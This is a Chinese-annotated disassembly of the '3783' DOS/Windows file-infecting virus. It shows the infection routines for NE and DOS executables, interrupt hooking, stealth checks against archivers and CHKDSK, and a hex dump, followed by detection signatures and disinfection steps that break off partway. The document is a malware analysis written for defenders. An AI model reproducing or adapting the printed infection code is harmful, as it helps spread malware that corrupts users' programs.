F6C8:0A0A E82102 CALL 0C2E ;检测是否 WINDOWS 文件
F6C8:0A0D 58 POP AX ;是,转 0A14
F6C8:0A0E 5A POP DX
F6C8:0A0F 7303 JNB 0A14
F6C8:0A11 E9EB00 JMP 0AFF ;DOS .EXE 转0AFF
;
=======================================================================
;传染 WINDOWS .EXE 文件及新格式 .EXE 文件
F6C8:0A14 F6441580 TEST BYTE PTR [SI+15],80
F6C8:0A18 75DD JNZ 09F7 ;.DLL 不传染
F6C8:0A1A 8B4C3A MOV CX,[SI+3A] ;取移位值
F6C8:0A1D D1EA SHR DX,1
F6C8:0A1F D1D8 RCR AX,1
F6C8:0A21 72D4 JB 09F7 ;文件长不是移位的
F6C8:0A23 E2F8 LOOP 0A1D ;整数倍不传染
F6C8:0A25 0BD2 OR DX,DX
F6C8:0A27 75CE JNZ 09F7 ;文件 > 65535*移位单位 不传染
F6C8:0A29 A3750E MOV [0E75],AX ;文件大小 (新的 CS:IP 入口段
)
F6C8:0A2C B108 MOV CL,08
F6C8:0A2E 294D3C SUB [DI+3C],CX ;新 NE 文件头位置前移 8 字节
F6C8:0A31 19553E SBB [DI+3E],DX
F6C8:0A34 AC LODSB
F6C8:0A35 0AC0 OR AL,AL ;如果这 8 字节不为 0
F6C8:0A37 E1FB LOOPE 0A34 ;则不传染
F6C8:0A39 75BC JNZ 09F7
F6C8:0A3B 8B4422 MOV AX,[SI+22] ;段地址表偏移量
F6C8:0A3E B105 MOV CL,05
F6C8:0A40 56 PUSH SI ;以下修改 NE 文件头下列部分
F6C8:0A41 BD0400 MOV BP,0004 ; 0004 登记表偏移
F6C8:0A44 3E DS: ; 0024 资源表偏移
F6C8:0A45 3B02 CMP AX,[BP+SI] ; 0026 驻留表偏移
F6C8:0A47 7304 JNB 0A4D ; 0028 模块引用表偏移
F6C8:0A49 3E DS: ; 002A 引用名表偏移
F6C8:0A4A 830208 ADD WORD PTR [BP+SI],+08
F6C8:0A4D BD2200 MOV BP,0022
F6C8:0A50 46 INC SI
F6C8:0A51 46 INC SI
F6C8:0A52 E2F0 LOOP 0A44
F6C8:0A54 5E POP SI
F6C8:0A55 BD6302 MOV BP,0263
F6C8:0A58 8B441C MOV AX,[SI+1C] ;段计数器 + 1
F6C8:0A5B 50 PUSH AX
F6C8:0A5C 40 INC AX
F6C8:0A5D 89441C MOV [SI+1C],AX ;入口 CS:IP 改为
F6C8:0A60 876C14 XCHG BP,[SI+14] ;新段地址:0263
F6C8:0A63 874416 XCHG AX,[SI+16]
F6C8:0A66 892E850E MOV [0E85],BP ;保存原 CS:IP 于 0E83
F6C8:0A6A A3830E MOV [0E83],AX
F6C8:0A6D 58 POP AX
F6C8:0A6E BD0800 MOV BP,0008 ;段地址表长度
F6C8:0A71 F7E5 MUL BP
F6C8:0A73 034422 ADD AX,[SI+22] ;加上段地址表偏移
F6C8:0A76 13D1 ADC DX,CX ;以下将整个 NE 文件头
F6C8:0A78 2D4000 SUB AX,0040 ;以及段地址表前移 8 字节
F6C8:0A7B 1BD1 SBB DX,CX ;以便插入一个新的段地址表项
F6C8:0A7D BD0002 MOV BP,0200
F6C8:0A80 F7F5 DIV BP
F6C8:0A82 95 XCHG AX,BP ;先移动余数
F6C8:0A83 B43F MOV AH,3F
F6C8:0A85 8BCA MOV CX,DX
F6C8:0A87 BA4F0F MOV DX,0F4F
F6C8:0A8A E81202 CALL 0C9F
F6C8:0A8D 7246 JB 0AD5
F6C8:0A8F 51 PUSH CX
F6C8:0A90 C4553C LES DX,[DI+3C]
F6C8:0A93 8CC1 MOV CX,ES
F6C8:0A95 E81C02 CALL 0CB4
F6C8:0A98 59 POP CX
F6C8:0A99 B440 MOV AH,40
F6C8:0A9B 83C140 ADD CX,+40
F6C8:0A9E BA0F0F MOV DX,0F0F
F6C8:0AA1 E8FB01 CALL 0C9F
F6C8:0AA4 722F JB 0AD5
F6C8:0AA6 83ED01 SUB BP,+01 ;再一次移动 200H 字节
F6C8:0AA9 722D JB 0AD8
F6C8:0AAB 33C9 XOR CX,CX
F6C8:0AAD BA0800 MOV DX,0008
F6C8:0AB0 E80402 CALL 0CB7
F6C8:0AB3 B43F MOV AH,3F
F6C8:0AB5 B502 MOV CH,02
F6C8:0AB7 BA4F0F MOV DX,0F4F
F6C8:0ABA E8E201 CALL 0C9F
F6C8:0ABD 7216 JB 0AD5
F6C8:0ABF B9FFFF MOV CX,FFFF
F6C8:0AC2 BAF8FD MOV DX,FDF8
F6C8:0AC5 E8EF01 CALL 0CB7
F6C8:0AC8 B440 MOV AH,40
F6C8:0ACA B90002 MOV CX,0200
F6C8:0ACD BA4F0F MOV DX,0F4F
F6C8:0AD0 E8CC01 CALL 0C9F
F6C8:0AD3 73D1 JNB 0AA6
F6C8:0AD5 E91FFF JMP 09F7
F6C8:0AD8 B440 MOV AH,40 ;写入新的段地址表项
F6C8:0ADA B90800 MOV CX,0008 ;(病毒的段地址表项)
F6C8:0ADD BA750E MOV DX,0E75
F6C8:0AE0 E8BC01 CALL 0C9F
F6C8:0AE3 72F0 JB 0AD5
F6C8:0AE5 A32C03 MOV [032C],AX ;032E:032C = FFFF:0000
F6C8:0AE8 892E2E03 MOV [032E],BP
F6C8:0AEC 40 INC AX
F6C8:0AED A37D0E MOV [0E7D],AX ;AX = 0001
F6C8:0AF0 C7067F0E0304 MOV WORD PTR [0E7F],0403
F6C8:0AF6 C706810E2C03 MOV WORD PTR [0E81],032C
F6C8:0AFC E98500 JMP 0B84
;===================================================================
;传染 DOS .EXE 文件
F6C8:0AFF E89F00 CALL 0BA1 ;文件长/200H
F6C8:0B02 2B4504 SUB AX,[DI+04]
F6C8:0B05 75CE JNZ 0AD5
F6C8:0B07 2B5502 SUB DX,[DI+02]
F6C8:0B0A 75C9 JNZ 0AD5 ;有覆盖部分不传染
F6C8:0B0C 837D0CFF CMP WORD PTR [DI+0C],-01
F6C8:0B10 75C3 JNZ 0AD5 ;最大要求内存不为-1不传染
F6C8:0B12 3B451A CMP AX,[DI+1A] ;覆盖号不为 0 (主程序) 不传染
F6C8:0B15 75BE JNZ 0AD5
F6C8:0B17 E89301 CALL 0CAD ;DOS 4202 功能
F6C8:0B1A BE1000 MOV SI,0010 ;文件长 > 640K 不传染
F6C8:0B1D 3BD6 CMP DX,SI
F6C8:0B1F 73B4 JNB 0AD5
F6C8:0B21 F7F6 DIV SI
F6C8:0B23 2B4508 SUB AX,[DI+08] ;减去文件头大小
F6C8:0B26 50 PUSH AX
F6C8:0B27 52 PUSH DX
F6C8:0B28 875514 XCHG DX,[DI+14] ;设置新的 CS:IP
F6C8:0B2B 874516 XCHG AX,[DI+16] ;到文件尾 (病毒开始处)
F6C8:0B2E 52 PUSH DX
F6C8:0B2F 034508 ADD AX,[DI+08]
F6C8:0B32 F7EE IMUL SI
F6C8:0B34 5E POP SI
F6C8:0B35 2D0200 SUB AX,0002
F6C8:0B38 1BD1 SBB DX,CX
F6C8:0B3A 03C6 ADD AX,SI ;移动文件指针到
F6C8:0B3C 13CA ADC CX,DX ;开始执行前 2 字节
F6C8:0B3E 92 XCHG AX,DX
F6C8:0B3F E87201 CALL 0CB4 ;DOS 4200
F6C8:0B42 B43F MOV AH,3F ;读出 2 字节
F6C8:0B44 B90200 MOV CX,0002
F6C8:0B47 BA4F11 MOV DX,114F
F6C8:0B4A E85201 CALL 0C9F
F6C8:0B4D 5A POP DX
F6C8:0B4E 58 POP AX
F6C8:0B4F 724D JB 0B9E
F6C8:0B51 813E4F115242 CMP WORD PTR [114F],4252
F6C8:0B57 7445 JZ 0B9E ;这 2 字节是 4252 不传染
F6C8:0B59 81C2C710 ADD DX,10C7 ;?????
F6C8:0B5D 48 DEC AX
F6C8:0B5E 7409 JZ 0B69
F6C8:0B60 83C210 ADD DX,+10
F6C8:0B63 83FA80 CMP DX,-80
F6C8:0B66 72F5 JB 0B5D
F6C8:0B68 48 DEC AX
F6C8:0B69 40 INC AX
F6C8:0B6A 80E2FE AND DL,FE
F6C8:0B6D 895510 MOV [DI+10],DX
F6C8:0B70 89450E MOV [DI+0E],AX
F6C8:0B73 E83701 CALL 0CAD ;DOS 4202 功能
F6C8:0B76 05C70E ADD AX,0EC7 ;新的文件长
F6C8:0B79 13D1 ADC DX,CX
F6C8:0B7B E82300 CALL 0BA1
F6C8:0B7E 894504 MOV [DI+04],AX ;设置新的文件长
F6C8:0B81 895502 MOV [DI+02],DX
F6C8:0B84 E80901 CALL 0C90 ;写文件头 40H 字节
F6C8:0B87 7215 JB 0B9E
F6C8:0B89 E82101 CALL 0CAD ;DOS 4202 功能
F6C8:0B8C B440 MOV AH,40
F6C8:0B8E B9C70E MOV CX,0EC7 ;写病毒 0EC7 字节
F6C8:0B91 99 CWD
F6C8:0B92 E80A01 CALL 0C9F
F6C8:0B95 7207 JB 0B9E
F6C8:0B97 E83B01 CALL 0CD5 ;取文件句柄表地址
F6C8:0B9A 804510C8 ADD BYTE PTR [DI+10],C8 ;设置传染标记
F6C8:0B9E E956FE JMP 09F7 ;文件日期加上 200 年
;
======================================================================
F6C8:0BA1 B90002 MOV CX,0200
F6C8:0BA4 F7F1 DIV CX
F6C8:0BA6 0BD2 OR DX,DX
F6C8:0BA8 7401 JZ 0BAB
F6C8:0BAA 40 INC AX
F6C8:0BAB C3 RET
;
======================================================================
F6C8:0BAC 40 INC AX
F6C8:0BAD 3D4E5A CMP AX,5A4E
F6C8:0BB0 7403 JZ 0BB5
F6C8:0BB2 3D5B4D CMP AX,4D5B
F6C8:0BB5 C3 RET
;
=======================================================================
;设置新的 INT 24 中断向量到 CS:0BEB
F6C8:0BB6 50 PUSH AX
F6C8:0BB7 53 PUSH BX
F6C8:0BB8 52 PUSH DX
F6C8:0BB9 1E PUSH DS
F6C8:0BBA 06 PUSH ES
F6C8:0BBB 0E PUSH CS
F6C8:0BBC 1F POP DS
F6C8:0BBD B82435 MOV AX,3524
F6C8:0BC0 E83701 CALL 0CFA
F6C8:0BC3 891E7311 MOV [1173],BX
F6C8:0BC7 8C067511 MOV [1175],ES
F6C8:0BCB B425 MOV AH,25
F6C8:0BCD BAEB0B MOV DX,0BEB
F6C8:0BD0 E82701 CALL 0CFA
F6C8:0BD3 07 POP ES
F6C8:0BD4 1F POP DS
F6C8:0BD5 5A POP DX
F6C8:0BD6 5B POP BX
F6C8:0BD7 58 POP AX
F6C8:0BD8 C3 RET
;
========================================================================
==
;恢复原 INT 24 中断向量
F6C8:0BD9 50 PUSH AX
F6C8:0BDA 52 PUSH DX
F6C8:0BDB 1E PUSH DS
F6C8:0BDC B82425 MOV AX,2524
F6C8:0BDF 2E CS:
F6C8:0BE0 C5167311 LDS DX,[1173]
F6C8:0BE4 E81301 CALL 0CFA
F6C8:0BE7 1F POP DS
F6C8:0BE8 5A POP DX
F6C8:0BE9 58 POP AX
F6C8:0BEA C3 RET
;
========================================================================
==
;新的 INT 24 中断程序, 出错时返回失败 (Fail)
F6C8:0BEB B003 MOV AL,03
F6C8:0BED CF IRET
;
========================================================================
==
F6C8:0BEE 832E030F08 SUB WORD PTR [0F03],+08
F6C8:0BF3 831E050F00 SBB WORD PTR [0F05],+00
F6C8:0BF8 E83300 CALL 0C2E
F6C8:0BFB 7230 JB 0C2D
F6C8:0BFD B108 MOV CL,08
F6C8:0BFF 882C MOV [SI],CH
F6C8:0C01 46 INC SI
F6C8:0C02 E2FB LOOP 0BFF
F6C8:0C04 FF4C1C DEC WORD PTR [SI+1C]
F6C8:0C07 A1C50E MOV AX,[0EC5]
F6C8:0C0A 894414 MOV [SI+14],AX
F6C8:0C0D A1C30E MOV AX,[0EC3]
F6C8:0C10 894416 MOV [SI+16],AX
F6C8:0C13 8B4422 MOV AX,[SI+22]
F6C8:0C16 B105 MOV CL,05
F6C8:0C18 56 PUSH SI
F6C8:0C19 BD0400 MOV BP,0004
F6C8:0C1C 3E DS:
F6C8:0C1D 3B02 CMP AX,[BP+SI]
F6C8:0C1F 7304 JNB 0C25
F6C8:0C21 3E DS:
F6C8:0C22 832A08 SUB WORD PTR [BP+SI],+08
F6C8:0C25 BD2200 MOV BP,0022
F6C8:0C28 46 INC SI
F6C8:0C29 46 INC SI
F6C8:0C2A E2F0 LOOP 0C1C
F6C8:0C2C 5E POP SI
F6C8:0C2D C3 RET
;
=======================================================================
;检测是否 WINDOWS 可执行程序或新格式可执行程序
F6C8:0C2E 833EDF0E40 CMP WORD PTR [0EDF],+40
F6C8:0C33 7225 JB 0C5A ;重定位表地址 < 40
F6C8:0C35 C416030F LES DX,[0F03] ;不是 WINDOWS 文件
F6C8:0C39 8CC1 MOV CX,ES
F6C8:0C3B 83EA08 SUB DX,+08 ;移动到 NE 文件头 - 8 处
F6C8:0C3E 83D900 SBB CX,+00 ;
F6C8:0C41 E87000 CALL 0CB4 ;DOS 4200功能
F6C8:0C44 B43F MOV AH,3F
F6C8:0C46 B94800 MOV CX,0048 ;读出 48H 字节
F6C8:0C49 BA070F MOV DX,0F07 ;NE 文件头在 0F0F 处
F6C8:0C4C 8BF2 MOV SI,DX
F6C8:0C4E E84E00 CALL 0C9F
F6C8:0C51 7207 JB 0C5A
F6C8:0C53 817C084E45 CMP WORD PTR [SI+08],454E
F6C8:0C58 7401 JZ 0C5B ;不是 "NE" 设置 CY
F6C8:0C5A F9 STC
F6C8:0C5B C3 RET
;
========================================================================
==
F6C8:0C5C 53 PUSH BX
F6C8:0C5D 51 PUSH CX
F6C8:0C5E 52 PUSH DX
F6C8:0C5F 56 PUSH SI
F6C8:0C60 57 PUSH DI
F6C8:0C61 55 PUSH BP
F6C8:0C62 1E PUSH DS
F6C8:0C63 06 PUSH ES
F6C8:0C64 B98B28 MOV CX,288B
F6C8:0C67 BA75D5 MOV DX,D575
F6C8:0C6A B80010 MOV AX,1000
F6C8:0C6D 8ED8 MOV DS,AX
F6C8:0C6F B43F MOV AH,3F
F6C8:0C71 E81701 CALL 0D8B
F6C8:0C74 720E JB 0C84
F6C8:0C76 0E PUSH CS
F6C8:0C77 1F POP DS
F6C8:0C78 01066F07 ADD [076F],AX
F6C8:0C7C 0106680C ADD [0C68],AX
F6C8:0C80 2906650C SUB [0C65],AX
F6C8:0C84 07 POP ES
F6C8:0C85 1F POP DS
F6C8:0C86 5D POP BP
F6C8:0C87 5F POP DI
F6C8:0C88 5E POP SI
F6C8:0C89 5A POP DX
F6C8:0C8A 59 POP CX
F6C8:0C8B 5B POP BX
F6C8:0C8C C3 RET
;
========================================================================
=
F6C8:0C8D B43F MOV AH,3F
F6C8:0C8F 3DB440 CMP AX,40B4
F6C8:0C92 50 PUSH AX
F6C8:0C93 E81100 CALL 0CA7
F6C8:0C96 58 POP AX
F6C8:0C97 B94000 MOV CX,0040
F6C8:0C9A BAC70E MOV DX,0EC7
F6C8:0C9D 0E PUSH CS
F6C8:0C9E 1F POP DS
F6C8:0C9F E85800 CALL 0CFA
F6C8:0CA2 7202 JB 0CA6
F6C8:0CA4 2BC1 SUB AX,CX
F6C8:0CA6 C3 RET
;
========================================================================
=
F6C8:0CA7 B000 MOV AL,00
F6C8:0CA9 3DB001 CMP AX,01B0
F6C8:0CAC 3DB002 CMP AX,02B0
F6C8:0CAF 33C9 XOR CX,CX
F6C8:0CB1 33D2 XOR DX,DX
F6C8:0CB3 3DB000 CMP AX,00B0
F6C8:0CB6 3DB001 CMP AX,01B0
F6C8:0CB9 3DB002 CMP AX,02B0
F6C8:0CBC B442 MOV AH,42
F6C8:0CBE EB3A JMP 0CFA
F6C8:0CC0 B9FFFF MOV CX,FFFF
F6C8:0CC3 BABCFF MOV DX,FFBC
F6C8:0CC6 E8F1FF CALL 0CBA
F6C8:0CC9 B43F MOV AH,3F
F6C8:0CCB B94400 MOV CX,0044
F6C8:0CCE BAC30E MOV DX,0EC3
F6C8:0CD1 0E PUSH CS
F6C8:0CD2 1F POP DS
F6C8:0CD3 EBCA JMP 0C9F
F6C8:0CD5 50 PUSH AX
F6C8:0CD6 53 PUSH BX
F6C8:0CD7 B82012 MOV AX,1220
F6C8:0CDA E8E300 CALL 0DC0
F6C8:0CDD 33DB XOR BX,BX
F6C8:0CDF 26 ES:
F6C8:0CE0 8A1D MOV BL,[DI]
F6C8:0CE2 B81612 MOV AX,1216
F6C8:0CE5 E8D800 CALL 0DC0
F6C8:0CE8 720D JB 0CF7
F6C8:0CEA 06 PUSH ES
F6C8:0CEB 1F POP DS
F6C8:0CEC F6450580 TEST BYTE PTR [DI+05],80
F6C8:0CF0 F5 CMC
F6C8:0CF1 7504 JNZ 0CF7
F6C8:0CF3 F64510C0 TEST BYTE PTR [DI+10],C0
F6C8:0CF7 5B POP BX
F6C8:0CF8 58 POP AX
F6C8:0CF9 C3 RET
;
========================================================================
=
F6C8:0CFA E84D00 CALL 0D4A
F6C8:0CFD E88B00 CALL 0D8B
F6C8:0D00 E85E00 CALL 0D61
F6C8:0D03 2E CS:
F6C8:0D04 FF366911 PUSH WORD PTR [1169]
F6C8:0D08 2E CS:
F6C8:0D09 FF366D11 PUSH WORD PTR [116D]
F6C8:0D0D 2E CS:
F6C8:0D0E FF366F11 PUSH WORD PTR [116F]
F6C8:0D12 2E CS:
F6C8:0D13 8C1E6D11 MOV [116D],DS
F6C8:0D17 0E PUSH CS
F6C8:0D18 1F POP DS
F6C8:0D19 893E6911 MOV [1169],DI
F6C8:0D1D 8C066F11 MOV [116F],ES
F6C8:0D21 BF5F11 MOV DI,115F
F6C8:0D24 0E PUSH CS
F6C8:0D25 07 POP ES
F6C8:0D26 FF35 PUSH WORD PTR [DI]
F6C8:0D28 9C PUSHF
F6C8:0D29 AB STOSW
F6C8:0D2A 8B05 MOV AX,[DI]
F6C8:0D2C 93 XCHG AX,BX
F6C8:0D2D AB STOSW
F6C8:0D2E 8B05 MOV AX,[DI]
F6C8:0D30 91 XCHG AX,CX
F6C8:0D31 AB STOSW
F6C8:0D32 8B05 MOV AX,[DI]
F6C8:0D34 92 XCHG AX,DX
F6C8:0D35 AB STOSW
F6C8:0D36 8B05 MOV AX,[DI]
F6C8:0D38 96 XCHG AX,SI
F6C8:0D39 AB STOSW
F6C8:0D3A AF SCASW
F6C8:0D3B 8B05 MOV AX,[DI]
F6C8:0D3D 95 XCHG AX,BP
F6C8:0D3E AB STOSW
F6C8:0D3F 58 POP AX
F6C8:0D40 874504 XCHG AX,[DI+04]
F6C8:0D43 50 PUSH AX
F6C8:0D44 9D POPF
F6C8:0D45 58 POP AX
F6C8:0D46 07 POP ES
F6C8:0D47 1F POP DS
F6C8:0D48 5F POP DI
F6C8:0D49 C3 RET
;
========================================================================
==
F6C8:0D4A 9C PUSHF
F6C8:0D4B 50 PUSH AX
F6C8:0D4C 53 PUSH BX
F6C8:0D4D 51 PUSH CX
F6C8:0D4E 52 PUSH DX
F6C8:0D4F 56 PUSH SI
F6C8:0D50 57 PUSH DI
F6C8:0D51 55 PUSH BP
F6C8:0D52 1E PUSH DS
F6C8:0D53 06 PUSH ES
F6C8:0D54 E8ACFF CALL 0D03
F6C8:0D57 07 POP ES
F6C8:0D58 1F POP DS
F6C8:0D59 5D POP BP
F6C8:0D5A 5F POP DI
F6C8:0D5B 5E POP SI
F6C8:0D5C 5A POP DX
F6C8:0D5D 59 POP CX
F6C8:0D5E 5B POP BX
F6C8:0D5F 58 POP AX
F6C8:0D60 9D POPF
F6C8:0D61 50 PUSH AX
F6C8:0D62 53 PUSH BX
F6C8:0D63 51 PUSH CX
F6C8:0D64 56 PUSH SI
F6C8:0D65 1E PUSH DS
F6C8:0D66 B81812 MOV AX,1218
F6C8:0D69 E85400 CALL 0DC0
F6C8:0D6C BF5F11 MOV DI,115F
F6C8:0D6F B90900 MOV CX,0009
F6C8:0D72 AD LODSW
F6C8:0D73 2E CS:
F6C8:0D74 8705 XCHG AX,[DI]
F6C8:0D76 AF SCASW
F6C8:0D77 8944FE MOV [SI-02],AX
F6C8:0D7A E2F6 LOOP 0D72
F6C8:0D7C 8B4404 MOV AX,[SI+04]
F6C8:0D7F 2E CS:
F6C8:0D80 8705 XCHG AX,[DI]
F6C8:0D82 894404 MOV [SI+04],AX
F6C8:0D85 1F POP DS
F6C8:0D86 5E POP SI
F6C8:0D87 59 POP CX
F6C8:0D88 5B POP BX
F6C8:0D89 58 POP AX
F6C8:0D8A C3 RET
;==================================================================
;病毒自己执行 INT 21 功能
F6C8:0D8B 50 PUSH AX
F6C8:0D8C 53 PUSH BX
F6C8:0D8D 1E PUSH DS
F6C8:0D8E 2E CS:
F6C8:0D8F C51E5711 LDS BX,[1157]
F6C8:0D93 8AC4 MOV AL,AH
F6C8:0D95 98 CBW
F6C8:0D96 D1E0 SHL AX,1
F6C8:0D98 2E CS:
F6C8:0D99 03065111 ADD AX,[1151]
F6C8:0D9D 93 XCHG AX,BX
F6C8:0D9E 8B07 MOV AX,[BX]
F6C8:0DA0 2E CS:
F6C8:0DA1 A35511 MOV [1155],AX
F6C8:0DA4 2E CS:
F6C8:0DA5 832E571105 SUB WORD PTR [1157],+05
F6C8:0DAA 1F POP DS
F6C8:0DAB 5B POP BX
F6C8:0DAC 58 POP AX
F6C8:0DAD 685344 PUSH 4453
F6C8:0DB0 2E CS:
F6C8:0DB1 FF365711 PUSH WORD PTR [1157]
F6C8:0DB5 2E CS:
F6C8:0DB6 FF365911 PUSH WORD PTR [1159]
F6C8:0DBA 2E CS:
F6C8:0DBB FF365511 PUSH WORD PTR [1155]
F6C8:0DBF CB RETF
F6C8:0DC0 3C12 CMP AL,12
F6C8:0DC2 9C PUSHF
F6C8:0DC3 FA CLI
F6C8:0DC4 0E PUSH CS
F6C8:0DC5 E80100 CALL 0DC9
F6C8:0DC8 C3 RET
F6C8:0DC9 2E CS:
F6C8:0DCA FF365911 PUSH WORD PTR [1159]
F6C8:0DCE 2E CS:
F6C8:0DCF FF365D11 PUSH WORD PTR [115D]
F6C8:0DD3 CB RETF
F6C8:0DD4 CD2F INT 2F (Multiplex)
F6C8:0DD6 C3 RET
;=====================================================================
;比较当前执行文件名是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
F6C8:0DD7 56 PUSH SI
F6C8:0DD8 BE1C0E MOV SI,0E1C
F6C8:0DDB E80B00 CALL 0DE9
F6C8:0DDE 5E POP SI
F6C8:0DDF C3 RET
;=====================================================================
;比较当前执行文件名是否为 CHKDSK
F6C8:0DE0 56 PUSH SI
F6C8:0DE1 BE450E MOV SI,0E45
F6C8:0DE4 E80200 CALL 0DE9
F6C8:0DE7 5E POP SI
F6C8:0DE8 C3 RET
;
=======================================================================
;比较当前执行文件名
;是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
;是, 返回 ZR
F6C8:0DE9 60 PUSHA
F6C8:0DEA 1E PUSH DS
F6C8:0DEB 06 PUSH ES
F6C8:0DEC 0E PUSH CS
F6C8:0DED 1F POP DS
F6C8:0DEE B451 MOV AH,51 ;得到当前进程 PSP
F6C8:0DF0 CD21 INT 21
F6C8:0DF2 4B DEC BX
F6C8:0DF3 8EC3 MOV ES,BX
F6C8:0DF5 33DB XOR BX,BX
F6C8:0DF7 26 ES:
F6C8:0DF8 817F084C4C CMP WORD PTR [BX+08],4C4C
F6C8:0DFD 7506 JNZ 0E05 ;"LL"
F6C8:0DFF 26 ES:
F6C8:0E00 385F0B CMP [BX+0B],BL
F6C8:0E03 7413 JZ 0E18
F6C8:0E05 AC LODSB
F6C8:0E06 3C01 CMP AL,01 ;比较字符数
F6C8:0E08 720E JB 0E18
F6C8:0E0A 98 CBW
F6C8:0E0B 8BC8 MOV CX,AX
F6C8:0E0D 03C6 ADD AX,SI
F6C8:0E0F 50 PUSH AX
F6C8:0E10 BF0800 MOV DI,0008
F6C8:0E13 F3 REPZ
F6C8:0E14 A6 CMPSB
F6C8:0E15 5E POP SI
F6C8:0E16 75ED JNZ 0E05
F6C8:0E18 07 POP ES
F6C8:0E19 1F POP DS
F6C8:0E1A 61 POPA
F6C8:0E1B C3 RET
F6C8:0E10 BF 08 00 F3 A6 5E 75 ED-07 1F 61 C3 05 50 4B 5A .....^u...
a..PKZ
F6C8:0E20 49 50 03 41 52 4A 03 52-41 52 03 4C 48 41 05 54 IP.ARJ.
RAR.LHA.T
F6C8:0E30 45 4C 49 58 06 42 41 43-4B 55 50 08 4D 53 42 41 ELIX.
BACKUP.MSBA
F6C8:0E40 43 4B 55 50 00 06 43 48-4B 44 53 4B 00 50 00 01 CKUP..
CHKDSK.P..
F6C8:0E50 02 50 00 02 02 50 00 03-02 50 00 04 02 50 00 05 .P...P...
P...P..
F6C8:0E60 02 50 00 06 02 50 00 07-02 50 00 08 02 50 00 09 .P...P...
P...P..
F6C8:0E70 02 50 00 0A 02 13 1C 7D-0E 80 01 7D 0E 01 00 03 .P.....}..
.}....
F6C8:0E80 04 2C 03 01 00 99 02 46-36 43 38 3A 30 30 30 30 .,.....
F6C8:0000
F6C8:0E90 20 30 45 20 20 20 20 20-20 20 20 20 20 20 20 50 0E
P
F6C8:0EA0 55 53 48 20 20 20 20 43-53 0D 0A 46 36 43 38 3A USH CS.
.F6C8:
F6C8:0EB0 30 30 30 31 20 31 46 20-20 20 20 20 20 20 20 20 0001 1F
F6C8:0EC0 20 20 20 01 00 99 02 E9-6D 15 66 88 15 00 00 C7 .....m.
f.....
F6C8:0ED0 0F 00 00 85 0E 00 00 95-12 00 00 00 00 00 00 00 ..........
......
F6C8:0EE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0EF0 00 00 00 00 00 00 00 00-00 00 00 00 E8 64 00 1E ..........
...d..
F6C8:0F00 0E 2E FF 26 04 01 FB 00-00 00 00 00 00 00 00 00 ...&......
......
F6C8:0F10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0F90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0FA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0FB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0FC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0FD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0FE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
F6C8:0FF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ..........
......
杀毒要点:
1.内存中病毒的检测
检测内存中的病毒可以用病毒自己的检测方法,设置 AX=187FH,BX=4453H 调
用INT 21H,如果返回 BX=87A1H 表示内存中已有 3783 病毒,由于该病毒有很多
欺骗手段,要检测引导区或文件上的病毒必须先用干净系统盘重新启动。
2.引导区中病毒的检测和清除
用磁盘编辑工具观察引导区,如果发现偏移 003EH 的内容为 FA 33 DB 8E D3
BC 00 7C 8E C4 表示引导区中已有病毒,对于硬盘,可用 CX=000DH,DX=0080H
,INT 13H 读出原引导记录,对于软盘,可用 CX=5009H,DX=0000H,INT 13H 读
出原引导记录, 再写入引导区就可以清除病毒,清除硬盘引导区的 3783 病毒也
可以简单地用 FDISK /MBR 来完成。
3.可执行文件中病毒的检测和清除
3783 病毒在文件中保存了原文件的文件头,位置是病毒开始后偏移第
0E87H 处算起的 40H 字节,由于 3783 病毒代码不加密,所以检测和清除相对比
较简单,对于 DOS 文件,可以用PCTOOLS 等软件查找字符串 0E 1F E8 00 00
5E 83 EE 05 56 06 B8 7F 18,或用DEBUG 反汇编文件的前几句,如果发现字符串
或发现以下指令:
XXXX:0100 E9YYYY JMP YYYY ;.COM 文件的第一句
...
XXXX:YYYY 0E PUSH CS ;.EXE 文件的第一句
1F POP DS
E80000 CALL ZZZZ
XXXX:ZZZZ 5E POP SI
83EE05 SUB SI,+05
56 PUSH SI
06 PUSH ES
B87F18 MOV AX,187F
BB5344 MOV BX,4453
CD21 INT 21 (DOS)
81FBA187 CMP BX,87A1
就可以确认文件已被 3783 病毒传染,手工消毒可以用以下办法:先记下找到字符
串的位置,再将这个位置加上 0E87H,( DEBUG 中将地址 YYYY 加上 0E87H) 就是
原文件头 40H 字节保存的地方,将这 40H字节写回文件头,再从找到字符串的地
方将文件截断即完成消毒。
对于WINDOWS文件,由于病毒对文件修改较多,且数据结构复杂,一般不用手
工消毒,在没有消毒程序的情况下,建议用以下办法:找一个压缩软件如 ARJ、
LHA、RAR 等, 将文件改名为其他文件名如 A.EXE,再运行一个带毒文件使内存中
驻留病毒,再将要消毒的文件打包,由于病毒执行了欺骗功能,所以由压缩软件读
出并压进文件包的文件都是无毒的,用干净系统盘启动后,解压缩出来的文件就是
无毒的了。在磁盘空间足够的情况下,也可以用这种方法全盘压缩,再全盘解压缩
来消除全部病毒。编程自动消毒的步骤和算法如下:
⑴ 判断文件头 0018H 大于等于 40H 则继续 (表示有 "NE" 文件头)
⑵ 从文件头 003CH 取得偏移量读出 40H 字节,判断前 2 字节为 "NE" 则
继续
⑶ 从 "NE" 报头中取相关数据计算入口段地址表记录偏移量,算法为:
